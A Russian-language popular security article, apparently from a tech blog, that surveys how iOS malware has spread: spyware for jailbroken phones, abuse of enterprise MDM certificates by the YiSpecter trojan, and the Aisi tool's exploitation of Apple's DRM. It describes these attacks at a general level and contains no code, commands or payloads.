Выходов из такого тупика существует ровно два. Первый — продать на черном рынке почку и таки купить себе новый телефон с надкусанным яблоком на корпусе, затаив надежду, что он не утратит своей актуальности в течение следующих нескольких лет. Второй путь — джейлбрейк. Под этим непонятным словом подразумевается банальный хак операционки, позволяющий получить не санкционированный производителем телефона доступ к файловой системе, а кроме того, устанавливать приложения из сторонних репозиториев или в некоторых случаях напрямую с компьютера.

Джейлбрейк, конечно же, не превратит твой четвертый айфон в десятый и не даст возможности использовать на древнем железе самую последнюю редакцию iOS. Но зато позволит отыскать и установить на смартфон старую версию нужной тебе программы, которая пусть и не сможет похвастаться современным набором функций, но зато будет хотя бы стабильно работать.

Существует и еще одна лазейка, позволяющая почти официально устанавливать на айфоны и айпады различный софт в обход App Store. Называется она Mobile Device Management (MDM). Это набор инструментов, дающий возможность управлять устройствами с iOS в корпоративной среде. Используется он, в частности, для установки на «яблочные» девайсы сотрудников фирм различных «внутренних» приложений, не предназначенных для широкого распространения вне компании.

Такие программы можно доставлять на устройства с iOS без необходимости загружать их в App Store и проходить мучительную проверку. Очевидно также, что любое приложение на айфон этим способом установить не получится: метод имеет целый ряд естественных ограничений, призванных исключить возможное его использование злоумышленниками.

Означает ли все это, что существование вредоносов для iOS невозможно в принципе и пользователи девайсов от Apple могут чувствовать себя в полной безопасности? Нет. Опасные программы для iOS как тот легендарный суслик: не видны, но все-таки есть. Я расскажу о самых известных технологиях распространения такого ПО.

Шпионские игры

К 2013 году, когда мобильные телефоны производства Apple уже прочно заняли свою нишу на мировом рынке, а в розничной продаже появился iPhone 5s, специалистам по информационной безопасности было известно около 50 шпионских программ для iOS. Практически все они предназначались для аппаратов с джейлбрейком, и практически все распространялись через «пиратский» репозиторий Cydia — альтернативный каталог приложений для взломанных «яблочных» устройств.

Пользователь мог обрести шпиона на своем телефоне либо по незнанию (некоторые были представлены в каталоге под вполне нейтральными названиями), либо в результате целенаправленной установки, если какой-то доброжелатель решил, например, помочь неофиту с настройкой девайса.

Упомянутые программы обладали вполне традиционным для spyware набором функций: кража SMS и истории звонков, контактов и фотографий, истории браузера, передача GPS-координат. Более продвинутые шпионы фиксировали информацию о совершенных звонках, могли записывать аудио с помощью встроенного микрофона, делать по команде с сервера фотоснимки, копировать сообщения электронной почты и переписку в социальных сетях, которую пользователь вел при помощи приложений-клиентов. Вся информация отсылалась на управляющий сервер, где ее можно было получить в удобной и доступной форме.

Интерфейс админки шпиона для iOS

Такие шпионы не создавали в системе значок приложения. По желанию в них можно было активировать только часть функций, чтобы снизить вероятность обнаружения программы пользователем. Наиболее популярным spyware для iOS в те времена считались SpyBubble, TopSpy, Tracker, OwnSpy, TruSpy и FlexiSpy.

Однако все эти приложения никак нельзя было назвать полноценными троянами, поскольку, во-первых, их необходимо было устанавливать на устройство вручную, во-вторых, для этого требовался джейлбрейк и, в-третьих, многие из них продавались в интернете фактически легально в качестве средств родительского контроля или контроля над сотрудниками предприятия.

Технология MDM

Из-за параноидальных механизмов безопасности, которые Apple применяет в архитектуре своей мобильной ОС, создание полноценных вредоносных программ для этой платформы оказалось делом трудозатратным, однако сюрпризом для специалистов все-таки не стало. Если в iOS нельзя зайти через дверь, можно вломиться через окно — примерно так подумали злоумышленники и для распространения троянов начали применять тот самый механизм дистрибуции приложений MDM с использованием корпоративных сертификатов.

Работает это вкратце так. Для начала требуется развернуть специальный MDM-сервер, получить для него сертификат Apple Push Notification Service (APNs-сертификат) и установить его на этом сервере. Затем необходимо создать специальный конфигурационный профиль, фактически представляющий собой видоизмененный .plist-файл, который следует доставить на устройство с iOS. Устройство получает с сервера push-уведомление, устанавливает с сервером TLS-соединение и после проверки сертификата авторизуется на нем.

Далее сервер может передать устройству набор настроек (MDM Payload), привязанный к его конфигурационному профилю. При этом MDM-сервер необязательно должен находиться в одной сети с мобильным устройством, достаточно, чтобы он был доступен извне по протоколу HTTPS. В результате с использованием MDM-сервера становится возможным управлять iOS-устройством и устанавливать на него приложения в обход App Store.

Все это подразумевает серьезные пляски с бубном, но теоретически открывает лазейку для MITM-атак. С использованием этой технологии вполне можно реализовывать таргетированные «точечные» атаки, что было доказано на практике летом 2018 года. Кроме всего прочего, злоумышленником может оказаться, например, обиженный сотрудник компании, использующей MDM, если он имеет доступ к серверу.

Говорят, именно таким способом у одной известной американской фирмы была похищена клиентская база и переписка с контрагентами, которая впоследствии утекла к конкурентам вместе с одним из бывших работников. Кажется, что массовое распространение вредоносов с привлечением технологии MDM организовать невозможно. Однако это не так.

С использованием MDM в 2015 году была устроена крупнокалиберная раздача трояна YiSpecter, прятавшегося в клиентском приложении — видеоплеере для просмотра порнухи. Распространялся он преимущественно в Китае под видом форка популярного в этой стране порноплеера QVOD, разработчиков которого в 2014 году накрыла китайская полиция. Следуя инструкции, найденной на просторах интернета, юзеры сами копировали на свой девайс необходимые профили и сертификаты, чтобы получить возможность бесплатно скачивать на телефон коммерческие или «запрещенные» в их стране приложения, за что и поплатились.

Кроме того, разработчики трояна организовали целую партнерскую программу, в рамках которой платили по 2,5 юаня за каждую установку протрояненного софта. Предложением тут же воспользовались многочисленные «подвальные» сервис-центры по ремонту айфонов и фирмочки, специализирующиеся на продаже восстановленных «яблочных» устройств, и стали втихаря добавлять в систему благодарным клиентам необходимые компоненты. С паршивой овцы, как говорится, хоть шерсти клок.

В результате обладателями айфонов «с сюрпризом» стали тысячи ни о чем не подозревающих китайцев.

Так распространялся iOS-троян YiSpecter

YiSpecter устанавливал на устройство специальный модуль, который докачивал компоненты вредоноса, если их удаляли, и по команде ботоводов мог втихую удалять с телефона любые программы, заменяя их троянизированными копиями. Нужный софт он получал с собственного MDM-сервера.

Пользователь не замечал подвоха, поскольку подмененные трояном клиенты социальных сетей и мессенджеры работали как обычно, время от времени отстукиваясь на управляющий сервер и скидывая туда конфиденциальную информацию, включая переписку и учетные данные жертвы. Кроме всего прочего, трой мог показывать на экране зараженного устройства полноэкранную рекламу, благодаря чему, собственно, и был обнаружен.

В общем-то понятно, что таким способом трудно организовать массовое заражение «яблочных» устройств, хотя у китайцев это почти получилось. Важно другое: YiSpecter был одним из первых настоящих вредоносов, способных заразить айфон без джейлбрейка.

Технология DRM

Трояны, не использовавшие для распространения MDM, появились оттуда же, откуда является большинство оригинальных разработок в сфере IT, — из Китая. Здесь сошлись воедино алчное стремление Apple зарабатывать как можно больше на распространении приложений для iOS и непреодолимая страсть некоторых пользователей к халяве.

Как известно, приложения для iPhone следует в обязательном порядке приобретать в официальном магазине App Store — по крайней мере, так считают в Apple. Если программа честно куплена на этом ресурсе и числится на аккаунте пользователя, он может установить ее на телефон позже, присоединив последний к компьютеру при помощи шнура USB-Lighting и воспользовавшись программой iTunes.

При запуске программа проверит Apple ID пользователя и запросит код авторизации, чтобы убедиться, что устанавливаемое на мобильный девайс приложение было действительно приобретено этим пользователем законным образом. Для этого используется разработанная Apple технология Digital Rights Management (DRM).

Для обхода этой проверки хитрые китайцы придумали специальную софтину, которая эмулирует действия iTunes. Купив приложение в App Store, создатели этой программы перехватывают и сохраняют код авторизации при помощи уязвимости в реализации DRM, после чего передают его всем остальным пользователям своего приложения.

В результате те получают возможность установить на свой айфон или айпад программу, за которую не платили. Одно из таких приложений носит наименование Aisi.

Программа Aisi

Aisi позволяет пользователям «яблочных» устройств не только устанавливать нелегальный софт, но и обновлять и создавать резервные копии прошивки, делать джейлбрейк, закачивать на телефон рингтоны и различный мультимедиаконтент.

Предварительно китайские вирмейкеры создали и разместили в App Store небольшую утилиту, позволяющую менять обои на устройстве с iOS. Утилита благополучно прошла все проверки Apple, даже несмотря на то, что скрывала в себе одну потенциально опасную функцию, которая активизировалась, правда, при совпадении ряда внешних условий — наверное, потому ее и не заметили.

После присоединения девайса к компьютеру и включения режима «доверия» между устройствами Aisi с помощью описанной выше технологии скрытно устанавливала в iOS ту самую утилиту, сообщив девайсу, что она якобы была ранее куплена пользователем в App Store. При запуске приложение требовало ввести данные учетки Apple ID. Эта информация тут же передавалась на управляющий сервер.

Дальше, в общем-то, с девайсом можно сотворить много интересного: утечка Apple ID открывает перед потенциальными злоумышленниками массу возможностей. Например, можно сменить пароль, залочить устройство и потребовать у его владельца выкуп за разблокировку. А можно получить доступ к хранилищу iCloud и полюбоваться чужими фотографиями из отпуска. Это в лучшем случае.

Выводы

Несмотря на то что iOS действительно очень защищенная и безопасная операционная система, мы видим, что вирусописатели смогли отыскать лазейки и в ней. Правда, все они без исключения представляют собой тесный симбиоз технических приемов и социальной инженерии. Разработчики вредоносов для айфонов и айпадов работают именно в этом направлении — играя на наивности или алчности владельцев «яблочных» телефонов.

Впрочем, интерес к ним неудивителен: считается, что покупатели недешевых телефонов производства корпорации Apple достаточно состоятельны, чтобы у них было чем поживиться. Поэтому пользователям таких устройств нужно проявлять особую бдительность и осторожность: в любой момент они могут оказаться под прицелом злоумышленников, ведь технологии не стоят на месте.

ПОДПИСАТЬСЯ - Бюро121